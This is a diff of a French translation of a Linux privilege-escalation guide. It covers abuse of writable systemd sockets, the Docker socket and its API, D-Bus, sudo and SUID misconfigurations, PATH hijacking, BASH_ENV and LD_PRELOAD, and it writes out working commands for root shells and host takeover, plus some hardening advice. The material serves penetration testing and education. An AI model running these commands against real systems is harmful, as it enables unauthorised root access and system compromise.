crĂ©ant un symlink vers lui sur `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la mĂȘme machine ou entre machines dans un modĂšle client-serveur. Ils utilisent des fichiers descripteurs Unix standard pour la communication inter-machines et sont configurĂ©s via des fichiers `.socket`. +Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la mĂȘme machine ou sur des machines diffĂ©rentes dans des modĂšles client-serveur. Ils utilisent des fichiers descripteurs Unix standard pour la communication inter-machines et sont configurĂ©s via des fichiers `.socket`. -Les sockets peuvent ĂȘtre configurĂ©s Ă  l'aide de fichiers `.socket`. +Sockets can be configured using `.socket` files. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramĂštres intĂ©ressants peuvent ĂȘtre configurĂ©s : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffĂšrent, mais en rĂ©sumĂ© elles servent Ă  **indiquer oĂč le socket va Ă©couter** (le chemin du fichier de socket AF_UNIX, l'adresse IPv4/6 et/ou le numĂ©ro de port Ă  Ă©couter, etc.) -- `Accept` : Prend un argument boolĂ©en. Si **true**, une **instance de service est lancĂ©e pour chaque connexion entrante** et seul le socket de connexion lui est passĂ©. Si **false**, tous les sockets d'Ă©coute sont **passĂ©s Ă  l'unitĂ© de service dĂ©marrĂ©e**, et une seule unitĂ© de service est lancĂ©e pour toutes les connexions. Cette valeur est ignorĂ©e pour les sockets datagram et les FIFO, oĂč une seule unitĂ© de service gĂšre sans condition tout le trafic entrant. **Par dĂ©faut : false**. Pour des raisons de performance, il est recommandĂ© d'Ă©crire les nouveaux daemons de maniĂšre adaptĂ©e Ă  `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : Accepte une ou plusieurs lignes de commande, qui sont **exĂ©cutĂ©es avant** ou **aprĂšs** que les **sockets**/FIFO d'Ă©coute soient **créés** et liĂ©s, respectivement. Le premier jeton de la ligne de commande doit ĂȘtre un nom de fichier absolu, suivi des arguments du processus. -- `ExecStopPre`, `ExecStopPost` : Commandes supplĂ©mentaires qui sont **exĂ©cutĂ©es avant** ou **aprĂšs** que les **sockets**/FIFO d'Ă©coute soient **fermĂ©s** et supprimĂ©s, respectivement. -- `Service` : SpĂ©cifie le nom de l'unitĂ© de **service** **Ă  activer** sur le **trafic entrant**. Ce paramĂštre n'est autorisĂ© que pour les sockets avec Accept=no. Il prend par dĂ©faut le service portant le mĂȘme nom que le socket (avec le suffixe remplacĂ©). Dans la plupart des cas, il ne devrait pas ĂȘtre nĂ©cessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffĂšrent mais servent en rĂ©sumĂ© Ă  **indiquer oĂč le socket va Ă©couter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numĂ©ro de port Ă  Ă©couter, etc.) +- `Accept` : Prend un argument boolĂ©en. Si **true**, une **instance de service est lancĂ©e pour chaque connexion entrante** et seul le socket de connexion lui est passĂ©. Si **false**, tous les sockets d'Ă©coute eux-mĂȘmes sont **passĂ©s Ă  l'unitĂ© de service dĂ©marrĂ©e**, et une seule unitĂ© de service est lancĂ©e pour toutes les connexions. Cette valeur est ignorĂ©e pour les datagram sockets et les FIFOs oĂč une seule unitĂ© de service gĂšre inconditionnellement tout le trafic entrant. **Defaults to false**. Pour des raisons de performance, il est recommandĂ© d'Ă©crire de nouveaux dĂ©mons uniquement d'une maniĂšre adaptĂ©e Ă  `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exĂ©cutĂ©es avant** ou **aprĂšs** que les sockets/FIFOs d'Ă©coute soient **créés** et liĂ©s, respectivement. Le premier jeton de la ligne de commande doit ĂȘtre un nom de fichier absolu, suivi des arguments pour le processus. +- `ExecStopPre`, `ExecStopPost` : Commandes supplĂ©mentaires qui sont **exĂ©cutĂ©es avant** ou **aprĂšs** que les sockets/FIFOs d'Ă©coute soient **fermĂ©s** et supprimĂ©s, respectivement. +- `Service` : SpĂ©cifie le nom de l'unitĂ© de **service** Ă  **activer** sur le trafic entrant. Ce paramĂštre n'est autorisĂ© que pour les sockets avec `Accept=no`. Il prend par dĂ©faut le service qui porte le mĂȘme nom que le socket (avec le suffixe remplacĂ©). Dans la plupart des cas, il ne devrait pas ĂȘtre nĂ©cessaire d'utiliser cette option. -### Fichiers .socket modifiables +### Writable .socket files -Si vous trouvez un fichier `.socket` **modifiable**, vous pouvez **ajouter** au dĂ©but de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exĂ©cutĂ© avant que le socket ne soit créé. Par consĂ©quent, vous devrez **probablement attendre le redĂ©marrage de la machine.**\ -_Remarque : le systĂšme doit utiliser cette configuration de fichier socket, sinon le backdoor ne sera pas exĂ©cutĂ©_ +Si vous trouvez un fichier `.socket` **writable** vous pouvez **ajouter** au dĂ©but de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exĂ©cutĂ© avant que le socket soit créé. Par consĂ©quent, vous **devrez probablement attendre que la machine soit rebooted.**\ +_Notez que le systĂšme doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exĂ©cutĂ©_ -### Sockets modifiables +### Writable sockets -Si vous **identifiez un socket modifiable** (_ici il s'agit des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et Ă©ventuellement exploiter une vulnĂ©rabilitĂ©. +Si vous **identifiez un socket writable** (_ici nous parlons des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-ĂȘtre exploiter une vulnĂ©rabilitĂ©. -### ÉnumĂ©rer les Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -498,7 +498,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exemple d'exploitation :** +**Exploitation example:** {{#ref}} @@ -507,48 +507,46 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir certains **sockets Ă©coutant des requĂȘtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vĂ©rifier cela avec : +Notez qu'il peut y avoir certains **sockets listening for HTTP** requests (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vĂ©rifier cela avec: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` If the socket **rĂ©pond Ă  une requĂȘte HTTP**, alors vous pouvez **communiquer** avec lui et peut-ĂȘtre **exploiter une vulnĂ©rabilitĂ©**. -### Docker socket accessible en Ă©criture +### Socket Docker accessible en Ă©criture -Le socket Docker, souvent trouvĂ© Ă  `/var/run/docker.sock`, est un fichier critique qui doit ĂȘtre sĂ©curisĂ©. Par dĂ©faut, il est accessible en Ă©criture par l'utilisateur `root` et les membres du groupe `docker`. Disposer d'un accĂšs en Ă©criture Ă  ce socket peut conduire Ă  privilege escalation. Voici un aperçu de la façon dont cela peut ĂȘtre fait et des mĂ©thodes alternatives si le Docker CLI n'est pas disponible. +Le socket Docker, souvent situĂ© Ă  `/var/run/docker.sock`, est un fichier critique qui doit ĂȘtre sĂ©curisĂ©. Par dĂ©faut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Disposer d'un accĂšs en Ă©criture Ă  ce socket peut conduire Ă  une escalade de privilĂšges. Voici une rĂ©partition de la façon dont cela peut ĂȘtre fait et des mĂ©thodes alternatives si le Docker CLI n'est pas disponible. -#### **Privilege Escalation with Docker CLI** +#### **Escalade de privilĂšges avec Docker CLI** -Si vous avez un accĂšs en Ă©criture au socket Docker, vous pouvez escalate privileges en utilisant les commandes suivantes: +Si vous avez un accĂšs en Ă©criture au socket Docker, vous pouvez Ă©lever les privilĂšges en utilisant les commandes suivantes : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes vous permettent d'exĂ©cuter un conteneur avec un accĂšs root au systĂšme de fichiers de l'hĂŽte. +#### **Utiliser directement l'API Docker** -#### **Utiliser l'API Docker directement** +Si le Docker CLI n'est pas disponible, le socket Docker peut nĂ©anmoins ĂȘtre manipulĂ© en utilisant l'API Docker et des commandes `curl`. -Dans les cas oĂč le Docker CLI n'est pas disponible, le socket Docker peut toujours ĂȘtre manipulĂ© en utilisant l'API Docker et des commandes `curl`. - -1. **Lister les images Docker :** RĂ©cupĂ©rez la liste des images disponibles. +1. **List Docker Images:** RĂ©cupĂ©rer la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **CrĂ©er un conteneur :** Envoyez une requĂȘte pour crĂ©er un conteneur qui monte le rĂ©pertoire racine du systĂšme hĂŽte. +2. **Create a Container:** Envoyer une requĂȘte pour crĂ©er un container qui monte le rĂ©pertoire racine du systĂšme hĂŽte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -DĂ©marrez le conteneur nouvellement créé : +DĂ©marrer le container nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Se connecter au conteneur :** Utilisez `socat` pour Ă©tablir une connexion au conteneur, permettant l'exĂ©cution de commandes Ă  l'intĂ©rieur. +3. **Attach to the Container:** Utilisez `socat` pour Ă©tablir une connexion au container, permettant l'exĂ©cution de commandes Ă  l'intĂ©rieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,31 +556,31 @@ Connection: Upgrade Upgrade: tcp ``` -AprĂšs avoir Ă©tabli la connexion `socat`, vous pouvez exĂ©cuter des commandes directement dans le conteneur avec un accĂšs root au systĂšme de fichiers de l'hĂŽte. +AprĂšs avoir Ă©tabli la connexion `socat`, vous pouvez exĂ©cuter des commandes directement dans le container avec un accĂšs root au systĂšme de fichiers de l'hĂŽte. ### Autres -Notez que si vous avez des permissions d'Ă©criture sur le docker socket parce que vous ĂȘtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'Ă©criture sur le docker socket parce que vous ĂȘtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consultez **plus de façons de sortir de docker ou de l'abuser pour escalader les privilĂšges** dans : +Consultez **plus de façons de s'Ă©chapper de docker ou de l'abuser pour escalader les privilĂšges** dans : {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) — escalade de privilĂšges +## Containerd (ctr) Escalade de privilĂšges -Si vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez l'abuser pour escalader les privilĂšges** : +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez ĂȘtre capable de l'abuser pour escalader les privilĂšges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** — escalade de privilĂšges +## **RunC** Escalade de privilĂšges -Si vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez l'abuser pour escalader les privilĂšges** : +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez ĂȘtre capable de l'abuser pour escalader les privilĂšges** : {{#ref}} @@ -591,13 +589,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un systĂšme sophistiquĂ© de **communication inter-processus (IPC)** qui permet aux applications d'interagir et de partager des donnĂ©es de maniĂšre efficace. Conçu pour les systĂšmes Linux modernes, il offre un cadre robuste pour diffĂ©rentes formes de communication entre applications. +D-Bus est un systĂšme sophistiquĂ© de communication inter-processus (IPC) qui permet aux applications d'interagir efficacement et de partager des donnĂ©es. Conçu pour les systĂšmes Linux modernes, il offre un cadre robuste pour diffĂ©rentes formes de communication entre applications. -Le systĂšme est polyvalent, supportant une IPC basique qui amĂ©liore l'Ă©change de donnĂ©es entre processus, rappelant les **sockets de domaine UNIX amĂ©liorĂ©s**. De plus, il facilite la diffusion d'Ă©vĂ©nements ou de signaux, favorisant une intĂ©gration fluide entre les composants systĂšme. Par exemple, un signal d'un dĂ©mon Bluetooth concernant un appel entrant peut pousser un lecteur de musique Ă  se couper, amĂ©liorant l'expĂ©rience utilisateur. En outre, D-Bus prend en charge un systĂšme d'objets distants, simplifiant les requĂȘtes de service et les invocations de mĂ©thodes entre applications, rationalisant des processus autrefois complexes. +Le systĂšme est polyvalent, supportant des IPC de base qui amĂ©liorent l'Ă©change de donnĂ©es entre processus, rappelant **enhanced UNIX domain sockets**. De plus, il facilite la diffusion d'Ă©vĂ©nements ou de signaux, favorisant une intĂ©gration fluide entre les composants du systĂšme. Par exemple, un signal d'un dĂ©mon Bluetooth annonçant un appel entrant peut demander Ă  un lecteur audio de se mettre en sourdine, amĂ©liorant l'expĂ©rience utilisateur. En outre, D-Bus prend en charge un systĂšme d'objets distants, simplifiant les requĂȘtes de service et les invocations de mĂ©thodes entre applications, rationalisant des processus traditionnellement complexes. -D-Bus fonctionne sur un modĂšle **allow/deny**, gĂ©rant les permissions des messages (appels de mĂ©thodes, Ă©missions de signaux, etc.) en fonction de l'effet cumulatif des rĂšgles de politique correspondantes. Ces politiques spĂ©cifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilĂšges via l'exploitation de ces permissions. +D-Bus fonctionne selon un modĂšle **allow/deny**, gĂ©rant les permissions de messages (appels de mĂ©thodes, Ă©missions de signaux, etc.) en fonction de l'effet cumulatif des rĂšgles de politique correspondantes. Ces politiques spĂ©cifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilĂšges via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, dĂ©taillant les permissions pour l'utilisateur root d'own, send to, et receive des messages de `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, dĂ©taillant les permissions pour l'utilisateur root d'ĂȘtre propriĂ©taire, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. Les politiques sans utilisateur ou groupe spĂ©cifiĂ© s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent Ă  tous ceux qui ne sont pas couverts par d'autres politiques spĂ©cifiques. ```xml @@ -608,7 +606,7 @@ Les politiques sans utilisateur ou groupe spĂ©cifiĂ© s'appliquent universellemen ``` -**Apprenez comment enumerate et exploit une communication D-Bus ici :** +**Apprenez comment Ă©numĂ©rer et exploiter une communication D-Bus ici :** {{#ref}} @@ -617,9 +615,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **RĂ©seau** -Il est toujours intĂ©ressant d'enumerate le rĂ©seau et de dĂ©terminer la position de la machine. +Il est toujours intĂ©ressant d'Ă©numĂ©rer le rĂ©seau et de dĂ©terminer la position de la machine. -### GĂ©nĂ©rique enumeration +### ÉnumĂ©ration gĂ©nĂ©rique ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -651,7 +649,7 @@ VĂ©rifiez toujours les services rĂ©seau en cours d'exĂ©cution sur la machine ave ``` ### Sniffing -VĂ©rifiez si vous pouvez sniff le trafic. Si c'est le cas, vous pourriez ĂȘtre en mesure de rĂ©cupĂ©rer des credentials. +VĂ©rifiez si vous pouvez sniff traffic. Si c'est le cas, vous pourriez ĂȘtre en mesure de rĂ©cupĂ©rer des credentials. ``` timeout 1 tcpdump ``` @@ -659,7 +657,7 @@ timeout 1 tcpdump ### ÉnumĂ©ration gĂ©nĂ©rique -VĂ©rifiez **qui** vous ĂȘtes, quels **privilĂšges** vous avez, quels **utilisateurs** sont sur les systĂšmes, lesquels peuvent **login** et lesquels ont des **privilĂšges root**: +VĂ©rifiez **qui** vous ĂȘtes, quels **privilĂšges** vous avez, quels **utilisateurs** sont dans les systĂšmes, lesquels peuvent **login** et lesquels ont des **root privilĂšges** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,14 +679,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID Ă©levĂ© -Certaines versions de Linux ont Ă©tĂ© affectĂ©es par un bug qui permet Ă  des utilisateurs avec **UID > INT_MAX** d'escalader leurs privilĂšges. Plus d'infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploitez-le** en utilisant: **`systemd-run -t /bin/bash`** +Certaines versions de Linux ont Ă©tĂ© affectĂ©es par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilĂšges. Plus d'infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** ### Groupes -VĂ©rifiez si vous ĂȘtes **membre d'un groupe** qui pourrait vous accorder des privilĂšges root : +VĂ©rifiez si vous ĂȘtes **membre d'un groupe** qui pourrait vous donner des privilĂšges root : {{#ref}} @@ -708,33 +706,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politique de mots de passe +### Politique des mots de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chaque utilisateur** en utilisant le mot de passe. +Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter pour chaque utilisateur** en utilisant ce mot de passe. ### Su Brute -Si le bruit ne vous dĂ©range pas et que les binaires `su` et `timeout` sont prĂ©sents sur la machine, vous pouvez essayer de brute-force un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramĂštre `-a` tente aussi de brute-force des utilisateurs. +Si cela ne vous dĂ©range pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont prĂ©sents sur la machine, vous pouvez essayer de brute-force des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramĂštre `-a` tente Ă©galement de brute-force des utilisateurs. -## Abus du PATH inscriptible +## Abus du $PATH inscriptible ### $PATH -Si vous constatez que vous pouvez **Ă©crire dans un dossier du $PATH**, vous pouvez ĂȘtre capable d'escalader les privilĂšges en **crĂ©ant une backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exĂ©cutĂ©e par un autre utilisateur (idĂ©alement root) et qui **n'est pas chargĂ©e depuis un dossier situĂ© avant** votre dossier inscriptible dans le $PATH. +Si vous constatez que vous pouvez **Ă©crire dans un dossier du $PATH**, vous pourriez ĂȘtre capable d'escalader vos privilĂšges en **crĂ©ant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exĂ©cutĂ©e par un autre utilisateur (idĂ©alement root) et qui **n'est pas chargĂ©e depuis un dossier situĂ© avant** votre dossier inscriptible dans le $PATH. ### SUDO and SUID -Vous pourriez ĂȘtre autorisĂ© Ă  exĂ©cuter certaines commandes avec sudo ou elles pourraient avoir le bit suid. VĂ©rifiez-le en utilisant: +Il se peut que vous soyez autorisĂ© Ă  exĂ©cuter certaines commandes avec sudo ou que des binaires aient le bit suid. VĂ©rifiez-le en utilisant : ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues vous permettent de lire et/ou d'Ă©crire des fichiers ou mĂȘme d'exĂ©cuter une commande.** Par exemple: +Certaines **commandes inattendues vous permettent de lire et/ou d'Ă©crire des fichiers ou mĂȘme d'exĂ©cuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,36 +743,36 @@ less>! ``` ### NOPASSWD -La configuration sudo peut permettre Ă  un utilisateur d'exĂ©cuter une commande avec les privilĂšges d'un autre utilisateur sans connaĂźtre le mot de passe. +La configuration de Sudo peut permettre Ă  un utilisateur d'exĂ©cuter une commande avec les privilĂšges d'un autre utilisateur sans connaĂźtre le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exĂ©cuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le rĂ©pertoire root ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exĂ©cuter `vim` en tant que `root`, il est alors trivial d'obtenir un shell en ajoutant une clĂ© ssh dans le rĂ©pertoire `root` ou en appelant `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Cette directive permet Ă  l'utilisateur de **dĂ©finir une variable d'environnement** lors de l'exĂ©cution de quelque chose : +Cette directive permet Ă  l'utilisateur de **dĂ©finir une variable d'environnement** lors de l'exĂ©cution de quelque chose: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **basĂ© sur HTB machine Admirer**, Ă©tait **vulnĂ©rable** Ă  **PYTHONPATH hijacking** pour charger une bibliothĂšque python arbitraire lors de l'exĂ©cution du script en tant que root: +Cet exemple, **based on HTB machine Admirer**, Ă©tait **vulnerable** au **PYTHONPATH hijacking** pour charger une bibliothĂšque python arbitraire lors de l'exĂ©cution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV prĂ©servĂ© via sudo env_keep → root shell -Si sudoers prĂ©serve `BASH_ENV` (par ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez exploiter le comportement de dĂ©marrage non-interactif de Bash pour exĂ©cuter du code arbitraire en tant que root lors de l'appel d'une commande autorisĂ©e. +Si sudoers prĂ©serve `BASH_ENV` (p.ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez exploiter le comportement de dĂ©marrage non-interactif de Bash pour exĂ©cuter du code arbitraire en tant que root lors de l'appel d'une commande autorisĂ©e. -- Why it works: Pour les shells non-interactifs, Bash Ă©value `$BASH_ENV` et source ce fichier avant d'exĂ©cuter le script cible. De nombreuses rĂšgles sudo permettent d'exĂ©cuter un script ou un wrapper shell. Si `BASH_ENV` est prĂ©servĂ© par sudo, votre fichier est sourcĂ© avec les privilĂšges root. +- Pourquoi ça fonctionne : Pour les shells non-interactifs, Bash Ă©value `$BASH_ENV` et source ce fichier avant d'exĂ©cuter le script cible. De nombreuses rĂšgles sudo permettent d'exĂ©cuter un script ou un wrapper de shell. Si `BASH_ENV` est prĂ©servĂ© par sudo, votre fichier est sourcĂ© avec les privilĂšges root. -- PrĂ©requis : -- Une rĂšgle sudo que vous pouvez exĂ©cuter (n'importe quelle cible qui invoque `/bin/bash` en mode non-interactif, ou n'importe quel script bash). +- Conditions requises : +- Une rĂšgle sudo que vous pouvez exĂ©cuter (toute cible qui invoque `/bin/bash` de façon non-interactive, ou tout script bash). - `BASH_ENV` prĂ©sent dans `env_keep` (vĂ©rifiez avec `sudo -l`). - PoC: @@ -787,14 +785,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Durcissement : -- Retirer `BASH_ENV` (et `ENV`) de `env_keep`, privilĂ©gier `env_reset`. +- Durcissement: +- Supprimer `BASH_ENV` (et `ENV`) de `env_keep`, prĂ©fĂ©rer `env_reset`. - Éviter les wrappers shell pour les commandes autorisĂ©es par sudo ; utiliser des binaires minimaux. -- Envisager la journalisation I/O sudo et l'alerte lorsque des variables d'environnement prĂ©servĂ©es sont utilisĂ©es. +- Envisager la journalisation I/O de sudo et les alertes lorsque des variables d'environnement prĂ©servĂ©es sont utilisĂ©es. -### Chemins permettant de contourner l'exĂ©cution sudo +### Chemins pour contourner l'exĂ©cution sudo -**Jump** pour lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**AccĂ©dez** aux autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -811,23 +809,23 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Commande sudo/binaire SUID sans chemin de commande +### Sudo command/SUID binary without command path -Si la **permission sudo** est donnĂ©e Ă  une seule commande **sans spĂ©cifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH. +Si la **permission sudo** est accordĂ©e pour une seule commande **sans spĂ©cifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi ĂȘtre utilisĂ©e si un binaire **suid** **exĂ©cute une autre commande sans prĂ©ciser son chemin (vĂ©rifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID suspect)**. +Cette technique peut aussi ĂȘtre utilisĂ©e si un binaire **suid** **exĂ©cute une autre commande sans spĂ©cifier le chemin (vĂ©rifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID Ă©trange)**). [Payload examples to execute.](payloads-to-execute.md) ### Binaire SUID avec chemin de commande -Si le binaire **suid** **exĂ©cute une autre commande en spĂ©cifiant le chemin**, alors vous pouvez essayer de **exporter une fonction** nommĂ©e comme la commande que le fichier suid appelle. +Si le binaire **suid** **exĂ©cute une autre commande en spĂ©cifiant le chemin**, vous pouvez alors essayer de **exporter une fonction** nommĂ©e comme la commande que le fichier suid appelle. -Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de crĂ©er la fonction et de l'exporter : +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de crĂ©er la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -836,14 +834,14 @@ Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exĂ©cutĂ©e ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisĂ©e pour spĂ©cifier une ou plusieurs bibliothĂšques partagĂ©es (fichiers .so) Ă  charger par le chargeur avant toutes les autres, y compris la bibliothĂšque C standard (`libc.so`). Ce processus est connu sous le nom de prĂ©chargement d'une bibliothĂšque. +La variable d'environnement **LD_PRELOAD** est utilisĂ©e pour spĂ©cifier une ou plusieurs bibliothĂšques partagĂ©es (.so files) Ă  charger par le chargeur (loader) avant toutes les autres, y compris la bibliothĂšque C standard (`libc.so`). Ce processus est connu sous le nom de prĂ©chargement d'une bibliothĂšque. -Cependant, pour maintenir la sĂ©curitĂ© du systĂšme et empĂȘcher l'exploitation de cette fonctionnalitĂ©, en particulier avec les exĂ©cutables **suid/sgid**, le systĂšme impose certaines conditions : +Cependant, pour prĂ©server la sĂ©curitĂ© du systĂšme et empĂȘcher que cette fonctionnalitĂ© soit exploitĂ©e, notamment avec des exĂ©cutables **suid/sgid**, le systĂšme applique certaines conditions : -- Le chargeur ignore **LD_PRELOAD** pour les exĂ©cutables oĂč l'identifiant utilisateur rĂ©el (_ruid_) ne correspond pas Ă  l'identifiant utilisateur effectif (_euid_). -- Pour les exĂ©cutables avec suid/sgid, seules les bibliothĂšques situĂ©es dans des chemins standard et qui sont Ă©galement suid/sgid sont prĂ©chargĂ©es. +- Le chargeur ignore **LD_PRELOAD** pour les exĂ©cutables dont l'identifiant utilisateur rĂ©el (_ruid_) ne correspond pas Ă  l'identifiant utilisateur effectif (_euid_). +- Pour les exĂ©cutables suid/sgid, seules les bibliothĂšques situĂ©es dans des chemins standard et elles‑mĂȘmes suid/sgid sont prĂ©chargĂ©es. -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +Une Ă©lĂ©vation de privilĂšges peut se produire si vous pouvez exĂ©cuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la dĂ©claration **env_keep+=LD_PRELOAD**. Cette configuration permet Ă  la variable d'environnement 